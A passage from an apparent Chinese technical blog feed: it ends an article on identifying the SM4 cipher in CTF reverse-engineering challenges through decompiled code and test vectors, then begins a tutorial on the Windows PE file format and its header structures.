class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行结果</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">C:\Users\thunder&gt;<span class="string">"D:\AlgorithmTest.exe"</span></span><br><span class="line">68 1e df 34 d2 06 96 5e 86 b3 e9 4f 53 6e 42 46</span><br><span class="line">01 23 45 67 89 ab <span class="built_in">cd</span> ef fe dc ba 98 76 54 32 10</span><br><span class="line">59 52 98 c7 c6 fd 27 1f 04 02 f8 04 c3 3d 3f 66</span><br></pre></td></tr></table></figure><h2 id="解密-4"><a href="#解密-4" class="headerlink" title="解密"></a>解密</h2><p>pysm4是国密SM4算法的Python实现，<a href="https://github.com/yang3yen/pysm4" target="_blank" rel="noopener">这里下载</a></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">from</span> pysm4 <span class="keyword">import</span> encrypt, decrypt</span><br><span class="line"><span class="comment"># 明文</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>clear_num = <span class="number">0x0123456789abcdeffedcba9876543210</span></span><br><span class="line"><span class="comment"># 密钥</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>mk = <span class="number">0x0123456789abcdeffedcba9876543210</span></span><br><span class="line"><span class="comment"># 加密</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>cipher_num = encrypt(clear_num, mk)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>hex(cipher_num)[<span class="number">2</span>:].replace(<span class="string">'L'</span>, <span class="string">''</span>)</span><br><span class="line"><span class="string">'681edf34d206965e86b3e94f536e4246'</span></span><br><span class="line"><span class="comment"># 解密</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>clear_num == decrypt(cipher_num, mk)</span><br><span class="line"><span class="literal">True</span></span><br><span class="line">&gt;&gt;&gt;</span><br></pre></td></tr></table></figure><h2 id="辨别-2"><a href="#辨别-2" class="headerlink" title="辨别"></a>辨别</h2><p>CTF逆向可以通过判断S盒的值来猜测SM4算法，通过S盒生成4个8位的字符，我们将上面实现代码放入IDA中查看，我们可以通过输入明文密钥的格式来猜测SM4算法</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line">__<span class="function">int64 <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v0; <span class="comment">// edx</span></span><br><span class="line">  __int64 v1; <span class="comment">// ST0C_8</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> i; <span class="comment">// [esp+D0h] [ebp-E0h]</span></span><br><span class="line">  sm4_context ctx; <span class="comment">// [esp+DCh] [ebp-D4h]</span></span><br><span class="line">  <span class="keyword">char</span> output[<span class="number">16</span>]; <span class="comment">// [esp+168h] [ebp-48h]</span></span><br><span class="line">  <span class="keyword">char</span> input[<span class="number">16</span>]; <span class="comment">// [esp+180h] [ebp-30h]</span></span><br><span class="line">  <span class="keyword">char</span> key[<span class="number">16</span>]; <span class="comment">// [esp+198h] [ebp-18h]</span></span><br><span class="line"></span><br><span class="line">  key[<span class="number">0</span>] = <span class="number">1</span>;</span><br><span class="line">  key[<span class="number">1</span>] = <span class="number">0x23</span>;</span><br><span class="line">  key[<span class="number">2</span>] = <span class="number">0x45</span>;</span><br><span class="line">  key[<span class="number">3</span>] = <span class="number">0x67</span>;</span><br><span class="line">  key[<span class="number">4</span>] = <span class="number">0x89</span>u;</span><br><span class="line">  key[<span class="number">5</span>] = <span class="number">0xAB</span>u;</span><br><span class="line">  key[<span class="number">6</span>] = <span class="number">0xCD</span>u;</span><br><span class="line">  key[<span class="number">7</span>] = <span class="number">0xEF</span>u;</span><br><span class="line">  key[<span class="number">8</span>] = <span class="number">0xFE</span>u;</span><br><span class="line">  key[<span class="number">9</span>] = <span class="number">0xDC</span>u;</span><br><span class="line">  key[<span class="number">10</span>] = <span class="number">0xBA</span>u;</span><br><span class="line">  key[<span class="number">11</span>] = <span class="number">0x98</span>u;</span><br><span class="line">  key[<span class="number">12</span>] = <span class="number">0x76</span>;</span><br><span class="line">  key[<span class="number">13</span>] = <span class="number">0x54</span>;</span><br><span class="line">  key[<span class="number">14</span>] = <span class="number">0x32</span>;</span><br><span class="line">  key[<span class="number">15</span>] = <span class="number">0x10</span>;</span><br><span class="line">  input[<span class="number">0</span>] = <span class="number">1</span>;</span><br><span class="line">  input[<span class="number">1</span>] = <span class="number">0x23</span>;</span><br><span class="line">  input[<span class="number">2</span>] = <span class="number">0x45</span>;</span><br><span class="line">  input[<span class="number">3</span>] = <span class="number">0x67</span>;</span><br><span class="line">  input[<span class="number">4</span>] = <span class="number">0x89</span>u;</span><br><span class="line">  input[<span class="number">5</span>] = <span class="number">0xAB</span>u;</span><br><span class="line">  input[<span class="number">6</span>] = <span class="number">0xCD</span>u;</span><br><span class="line">  input[<span class="number">7</span>] = <span class="number">0xEF</span>u;</span><br><span class="line">  input[<span class="number">8</span>] = <span class="number">0xFE</span>u;</span><br><span class="line">  input[<span class="number">9</span>] = <span class="number">0xDC</span>u;</span><br><span class="line">  input[<span class="number">10</span>] = <span class="number">0xBA</span>u;</span><br><span class="line">  input[<span class="number">11</span>] = <span class="number">0x98</span>u;</span><br><span class="line">  input[<span class="number">12</span>] = <span class="number">0x76</span>;</span><br><span class="line">  input[<span class="number">13</span>] = <span class="number">0x54</span>;</span><br><span class="line">  input[<span class="number">14</span>] = <span class="number">0x32</span>;</span><br><span class="line">  input[<span class="number">15</span>] = <span class="number">0x10</span>;</span><br><span class="line">  j__sm4_setkey_enc(&amp;ctx, key);</span><br><span class="line">  j__sm4_crypt_ecb(&amp;ctx, <span class="number">1</span>, <span class="number">16</span>, input, output);</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt; <span class="number">0x10</span>; ++i )</span><br><span class="line">    _printf(<span class="string">"%02x "</span>, (<span class="keyword">unsigned</span> __int8)output[i]);</span><br><span class="line">  _printf(<span class="string">"\n"</span>);</span><br><span class="line">  j__sm4_setkey_dec(&amp;ctx, key);</span><br><span class="line">  j__sm4_crypt_ecb(&amp;ctx, <span class="number">0</span>, <span class="number">16</span>, output, output);</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt; <span class="number">0x10</span>; ++i )</span><br><span class="line">    _printf(<span class="string">"%02x "</span>, (<span class="keyword">unsigned</span> __int8)output[i]);</span><br><span class="line">  _printf(<span class="string">"\n"</span>);</span><br><span class="line">  i = <span class="number">0</span>;</span><br><span class="line">  j__sm4_setkey_enc(&amp;ctx, key);</span><br><span class="line">  <span class="keyword">while</span> ( i &lt; <span class="number">0xF4240</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    j__sm4_crypt_ecb(&amp;ctx, <span class="number">1</span>, <span class="number">16</span>, input, input);</span><br><span class="line">    ++i;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt; <span class="number">0x10</span>; ++i )</span><br><span class="line">    _printf(<span class="string">"%02x "</span>, (<span class="keyword">unsigned</span> __int8)input[i]);</span><br><span class="line">  _printf(<span class="string">"\n"</span>);</span><br><span class="line">  HIDWORD(v1) = v0;</span><br><span class="line">  LODWORD(v1) = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">return</span> v1;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>算法中的T变换观察返回值也有很明显的特征</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">unsigned</span> <span class="keyword">int</span> __<span class="function">cdecl <span class="title">sm4F</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">int</span> x0, <span class="keyword">unsigned</span> <span class="keyword">int</span> x1, <span class="keyword">unsigned</span> <span class="keyword">int</span> x2, <span class="keyword">unsigned</span> <span class="keyword">int</span> x3, <span class="keyword">unsigned</span> <span class="keyword">int</span> rk)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">return</span> x0 ^ (<span class="keyword">unsigned</span> __int64)sm4Lt(rk ^ x3 ^ x2 ^ x1); <span class="comment">//返回多组异或</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/************************************************************************************************/</span></span><br><span class="line"></span><br><span class="line">__int64 __<span class="function">cdecl <span class="title">sm4Lt</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">int</span> ka)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">unsigned</span> __int8 b; <span class="comment">// STD8_1</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 b_1; <span class="comment">// STD9_1</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 b_2; <span class="comment">// STDA_1</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 v4; <span class="comment">// al</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> bb; <span class="comment">// STFC_4</span></span><br><span class="line">  __int64 v6; <span class="comment">// ST00_8</span></span><br><span class="line"></span><br><span class="line">  b = sm4Sbox(SHIBYTE(ka));</span><br><span class="line">  b_1 = sm4Sbox(SBYTE2(ka));</span><br><span class="line">  b_2 = sm4Sbox(SBYTE1(ka));</span><br><span class="line">  v4 = sm4Sbox(ka);</span><br><span class="line">  bb = v4 | (b_2 &lt;&lt; <span class="number">8</span>) | (b_1 &lt;&lt; <span class="number">16</span>) | (b &lt;&lt; <span class="number">24</span>); <span class="comment">// 分4组每组8位计算</span></span><br><span class="line">  HIDWORD(v6) = (bb &gt;&gt; <span class="number">8</span>) | (bb &lt;&lt; <span class="number">24</span>);</span><br><span class="line">  LODWORD(v6) = HIDWORD(v6) ^ ((bb &gt;&gt; <span class="number">14</span>) | (bb &lt;&lt; <span class="number">18</span>)) ^ ((bb &gt;&gt; <span class="number">22</span>) | (bb &lt;&lt; <span class="number">10</span>)) ^ bb ^ ((bb &gt;&gt; <span class="number">30</span>) | <span class="number">4</span> * bb);</span><br><span class="line">  <span class="keyword">return</span> v6;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="例题"><a href="#例题" class="headerlink" title="例题"></a>例题</h2><p>2019ciscn-bbvvmm</p><p>下面的代码和上面的对比可以很容易的猜到SM4</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">unsigned</span> __int64 __<span class="function">fastcall <span class="title">sub_400EE2</span><span class="params">(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">return</span> a1 ^ sub_400D87(a5 ^ a4 ^ a3 ^ a2);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/************************************************************************************************/</span></span><br><span class="line"></span><br><span class="line">__int64 __<span class="function">cdecl <span class="title">sm4Lt</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">int</span> ka)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">unsigned</span> __int8 b; <span class="comment">// STD8_1</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 b_1; <span class="comment">// STD9_1</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 b_2; <span class="comment">// STDA_1</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 v4; <span class="comment">// al</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> bb; <span class="comment">// STFC_4</span></span><br><span class="line">  __int64 v6; <span class="comment">// ST00_8</span></span><br><span class="line"></span><br><span class="line">  b = sm4Sbox(SHIBYTE(ka));</span><br><span class="line">  b_1 = sm4Sbox(SBYTE2(ka));</span><br><span class="line">  b_2 = sm4Sbox(SBYTE1(ka));</span><br><span class="line">  v4 = sm4Sbox(ka);</span><br><span class="line">  bb = v4 | (b_2 &lt;&lt; <span class="number">8</span>) | (b_1 &lt;&lt; <span class="number">16</span>) | (b &lt;&lt; <span class="number">24</span>);</span><br><span class="line">  HIDWORD(v6) = (bb &gt;&gt; <span class="number">8</span>) | (bb &lt;&lt; <span class="number">24</span>);</span><br><span class="line">  LODWORD(v6) = HIDWORD(v6) ^ ((bb &gt;&gt; <span class="number">14</span>) | (bb &lt;&lt; <span class="number">18</span>)) ^ ((bb &gt;&gt; <span class="number">22</span>) | (bb &lt;&lt; <span class="number">10</span>)) ^ bb ^ ((bb &gt;&gt; <span class="number">30</span>) | <span class="number">4</span> * bb);</span><br><span class="line">  <span class="keyword">return</span> v6;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="0x04：Reference"><a href="#0x04：Reference" class="headerlink" title="0x04：Reference"></a>0x04：Reference</h1><p><strong>Base</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">http://www.cnblogs.com/hongru/archive/2012/01/14/2321397.html</span><br><span class="line">https://blog.csdn.net/u011491972/article/details/52800177</span><br></pre></td></tr></table></figure><p><strong>RC4</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">https://blog.csdn.net/Fly_hps/article/details/79918495</span><br><span class="line">https://baike.baidu.com/item/RC4/3454548?fr=aladdin</span><br></pre></td></tr></table></figure><p><strong>SM4</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">https://neuqzxy.github.io/2017/06/15/%E6%AC%A3%E4%BB%94%E5%B8%A6%E4%BD%A0%E9%9B%B6%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8SM4%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95/</span><br><span class="line">https://baike.baidu.com/item/SM4.0/3901780?fr=aladdin</span><br><span class="line">https://max.book118.com/html/2018/1023/8017013004001130.shtm</span><br><span class="line">https://blog.csdn.net/cg129054036/article/details/83012721</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;0x00：Introduction&quot;&gt;&lt;a href=&quot;#0x00：Introduction&quot; class=&quot;headerlink&quot; title=&quot;0x00：Introduction&quot;&gt;&lt;/a&gt;0x00：Introduction&lt;/h1&gt;&lt;p&gt;本片文章主要逆向一些
      
    
    </summary>
    
      <category term="CTF" scheme="https://thunderjie.github.io/categories/CTF/"/>
    
      <category term="Cryptography" scheme="https://thunderjie.github.io/categories/CTF/Cryptography/"/>
    
    
      <category term="Cryptography" scheme="https://thunderjie.github.io/tags/Cryptography/"/>
    
  </entry>
  
  <entry>
    <title>PE结构详解</title>
    <link href="https://thunderjie.github.io/2019/03/27/PE%E7%BB%93%E6%9E%84%E8%AF%A6%E8%A7%A3/"/>
    <id>https://thunderjie.github.io/2019/03/27/PE结构详解/</id>
    <published>2019-03-27T09:05:41.000Z</published>
    <updated>2020-05-07T03:26:45.139Z</updated>
    
    <content type="html"><![CDATA[<h1 id="0x00：前言"><a href="#0x00：前言" class="headerlink" title="0x00：前言"></a>0x00：前言</h1><p>PE文件可以说是在逆向的各个领域都有涉及，特别是病毒领域，如果你是一名病毒制造者，那你肯定是对PE文件有详细的了解，那么这里我就详细介绍一下PE文件，最后我们用C来写一个PE格式解析器。</p><h1 id="0x01：PE格式"><a href="#0x01：PE格式" class="headerlink" title="0x01：PE格式"></a>0x01：PE格式</h1><h2 id="总体介绍"><a href="#总体介绍" class="headerlink" title="总体介绍"></a>总体介绍</h2><p>首先说明一个概念，可执行文件(Executable File)是指可以由操作系统直接加载执行的文件，在Windows操作系统中可执行文件就是PE文件结构，在Linux下则是ELF文件，我们这里只讨论Windows下的PE文件，要了解PE文件，首先要知道PE格式，那么什么是PE格式呢，既然是一个格式，那肯定是我们都需要遵循的定理，下面这张图就是PE文件格式的图片(来自看雪)，非常大一张图片，其实PE格式就是各种结构体的结合，Windows下PE文件的各种结构体在WinNT.h这个头文件中，可以在VS中查询。</p><p><img src="/2019/03/27/PE结构详解/1.jpg" alt="1"></p><h2 id="PE文件整体结构"><a href="#PE文件整体结构" class="headerlink" title="PE文件整体结构"></a>PE文件整体结构</h2><p>PE结构可以大致分为:</p><ul><li>DOS部分</li><li>PE文件头</li><li>节表(块表)</li><li>节数据(块数据)</li><li>调试信息</li></ul><h2 id="PE指纹"><a href="#PE指纹" class="headerlink" title="PE指纹"></a>PE指纹</h2><p>为了更加直观的描述我们用16进制编辑器直接将一个exe文件载入，分析其结构，首先我们需要清楚的概念是PE指纹，也就是判断一个文件是否是PE文件的依据，首先是根据文件的前两个字节是否为4D 5A，也就是’MZ’，然后看第四排四个字节指向的地址00 00 00 f8是否为50 45，也就是’PE’，满足这两个条件也就满足了PE文件的格式，简称PE指纹，在后面制作解析器的时候会通过它来判断是否为一个有效的PE文件。</p><p><img src="/2019/03/27/PE结构详解/2.jpg" alt="2"></p><h2 id="DOS部分"><a href="#DOS部分" class="headerlink" title="DOS部分"></a>DOS部分</h2><p>DOS部分主要是为了兼容以前的DOS系统，DOS部分可以分为DOS MZ文件头(IMAGE_DOS_HEADER)和DOS块(DOS Stub)组成，PE文件的第一个字节位于一个传统的MS-DOS头部，称作IMAGE_DOS_HEADER，其结构如下：<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IMAGE_DOS_HEADER</span> &#123;</span>      <span class="comment">// DOS .EXE header</span></span><br><span class="line">    WORD   e_magic;                     <span class="comment">// Magic number</span></span><br><span class="line">    WORD   e_cblp;                      <span class="comment">// Bytes on last page of file</span></span><br><span class="line">    WORD   e_cp;                        <span class="comment">// Pages in file</span></span><br><span class="line">    WORD   e_crlc;                      <span class="comment">// Relocations</span></span><br><span class="line">    WORD   e_cparhdr;                   <span class="comment">// Size of header in paragraphs</span></span><br><span class="line">    WORD   e_minalloc;                  <span class="comment">// Minimum extra paragraphs needed</span></span><br><span class="line">    WORD   e_maxalloc;                  <span class="comment">// Maximum extra paragraphs needed</span></span><br><span class="line">    WORD   e_ss;                        <span class="comment">// Initial (relative) SS value</span></span><br><span class="line">    WORD   e_sp;                        <span class="comment">// Initial SP value</span></span><br><span class="line">    WORD   e_csum;                      <span class="comment">// Checksum</span></span><br><span class="line">    WORD   e_ip;                        <span class="comment">// Initial IP value</span></span><br><span class="line">    WORD   e_cs;                        <span class="comment">// Initial (relative) CS value</span></span><br><span class="line">    WORD   e_lfarlc;                    <span class="comment">// File address of relocation table</span></span><br><span class="line">    WORD   e_ovno;                      <span class="comment">// Overlay number</span></span><br><span class="line">    WORD   e_res[<span class="number">4</span>];                    <span class="comment">// Reserved words</span></span><br><span class="line">    WORD   e_oemid;                     <span class="comment">// OEM identifier (for e_oeminfo)</span></span><br><span class="line">    WORD   e_oeminfo;                   <span class="comment">// OEM information; e_oemid specific</span></span><br><span class="line">    WORD   e_res2[<span class="number">10</span>];                  <span class="comment">// Reserved words</span></span><br><span class="line">    LONG   e_lfanew;                    <span class="comment">// File address of new exe header</span></span><br><span class="line">  &#125; IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;</span><br></pre></td></tr></table></figure></p><p>DOS部分我们需要熟悉的是e_magic成员和e_lfanew成员，前者是标识PE指纹的一部分，后者则是寻找PE文件头的部分，除了这两个成员，其他成员全部用0填充都不会影响程序正常运行，所以我们不需要过多的对其他部分深究，DOS部分在16进制编辑器中看就是下图的部分：</p><p><img src="/2019/03/27/PE结构详解/3.jpg" alt="3"></p><p>我们可以看到e_lfanew指向PE文件头，我们可以通过它来寻找PE文件头，而DOS块的部分自然就是PE文件头和DOS MZ文件头中间的部分，这部分是由链接器所写入的，可以随意进行修改，并不影响程序的运行：</p><p><img src="/2019/03/27/PE结构详解/4.jpg" alt="4"></p><h2 id="PE文件头"><a href="#PE文件头" class="headerlink" title="PE文件头"></a>PE文件头</h2><p>PE文件头由PE文件头标志，标准PE头，扩展PE头三部分组成。PE文件头标志自然是50 40 00 00，也就是’PE’，我们从结构体的角度看一下PE文件头的详细信息<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IMAGE_NT_HEADERS</span> &#123;</span></span><br><span class="line">    DWORD Signature; <span class="comment">//PE文件头标志 =&gt; 4字节</span></span><br><span class="line">    IMAGE_FILE_HEADER FileHeader; <span class="comment">//标准PE头 =&gt; 20字节</span></span><br><span class="line">    IMAGE_OPTIONAL_HEADER32 OptionalHeader; <span class="comment">//扩展PE头 =&gt; 32位下224字节(0xE0) 64位下240字节(0xF0)</span></span><br><span class="line">&#125; IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;</span><br></pre></td></tr></table></figure></p><p>标准PE头结构如下，有20个字节，我们可以从PE文件头标志后20个字节找到它<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IMAGE_FILE_HEADER</span> &#123;</span></span><br><span class="line">    WORD    Machine; <span class="comment">//可以运行在什么平台上 任意:0 ,Intel 386以及后续:14C x64:8664</span></span><br><span class="line">    WORD    NumberOfSections; <span class="comment">//节的数量</span></span><br><span class="line">    DWORD   TimeDateStamp; <span class="comment">//编译器填写的时间戳</span></span><br><span class="line">    DWORD   PointerToSymbolTable;   <span class="comment">//调试相关</span></span><br><span class="line">    DWORD   NumberOfSymbols; <span class="comment">//调试相关</span></span><br><span class="line">    WORD    SizeOfOptionalHeader;   <span class="comment">//标识扩展PE头大小</span></span><br><span class="line">    WORD    Characteristics;        <span class="comment">//文件属性 =&gt; 16进制转换为2进制根据哪些位有1,可以查看相关属性</span></span><br><span class="line">&#125; IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;</span><br></pre></td></tr></table></figure></p><p>扩展PE头在32位和64位系统上大小是不同的，在32位系统上有224个字节，16进制就是0xE0，结构如下，重要的属性我都有标注<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IMAGE_OPTIONAL_HEADER</span> &#123;</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// Standard fields.</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    WORD    Magic;<span class="comment">//PE32: 10B PE64: 20B</span></span><br><span class="line">    BYTE    MajorLinkerVersion;</span><br><span class="line">    BYTE    MinorLinkerVersion;</span><br><span class="line">    DWORD   SizeOfCode;<span class="comment">//所有含有代码的区块的大小 编译器填入 没用(可改)</span></span><br><span class="line">    DWORD   SizeOfInitializedData;<span class="comment">//所有初始化数据区块的大小 编译器填入 没用(可改)</span></span><br><span class="line">    DWORD   SizeOfUninitializedData;<span class="comment">//所有含未初始化数据区块的大小 编译器填入 没用(可改)</span></span><br><span class="line">    DWORD   AddressOfEntryPoint;<span class="comment">//程序入口RVA</span></span><br><span class="line">    DWORD   BaseOfCode;<span class="comment">//代码区块起始RVA</span></span><br><span class="line">    DWORD   BaseOfData;<span class="comment">//数据区块起始RVA</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// NT additional fields.</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    DWORD   ImageBase;<span class="comment">//内存镜像基址(程序默认载入基地址)</span></span><br><span class="line">    DWORD   SectionAlignment; <span class="comment">//内存中对齐大小</span></span><br><span class="line">    DWORD   FileAlignment; <span class="comment">//文件中对齐大小(提高程序运行效率)</span></span><br><span class="line">    WORD    MajorOperatingSystemVersion;</span><br><span class="line">    WORD    MinorOperatingSystemVersion;</span><br><span class="line">    WORD    MajorImageVersion;</span><br><span class="line">    WORD    MinorImageVersion;</span><br><span class="line">    WORD    MajorSubsystemVersion;</span><br><span class="line">    WORD    MinorSubsystemVersion;</span><br><span class="line">    DWORD   Win32VersionValue;</span><br><span class="line">    DWORD   SizeOfImage;<span class="comment">//内存中整个PE文件的映射的尺寸,可比实际值大,必须是SectionAlignment的整数倍</span></span><br><span class="line">    DWORD   SizeOfHeaders; <span class="comment">//所有的头加上节表文件对齐之后的值</span></span><br><span class="line">    DWORD   CheckSum;<span class="comment">//映像校验和,一些系统.dll文件有要求,判断是否被修改</span></span><br><span class="line">    WORD    Subsystem;</span><br><span class="line">    WORD    DllCharacteristics;<span class="comment">//文件特性,不是针对DLL文件的,16进制转换2进制可以根据属性对应的表格得到相应的属性</span></span><br><span class="line">    DWORD   SizeOfStackReserve;</span><br><span class="line">    DWORD   SizeOfStackCommit;</span><br><span class="line">    DWORD   SizeOfHeapReserve;</span><br><span class="line">    DWORD   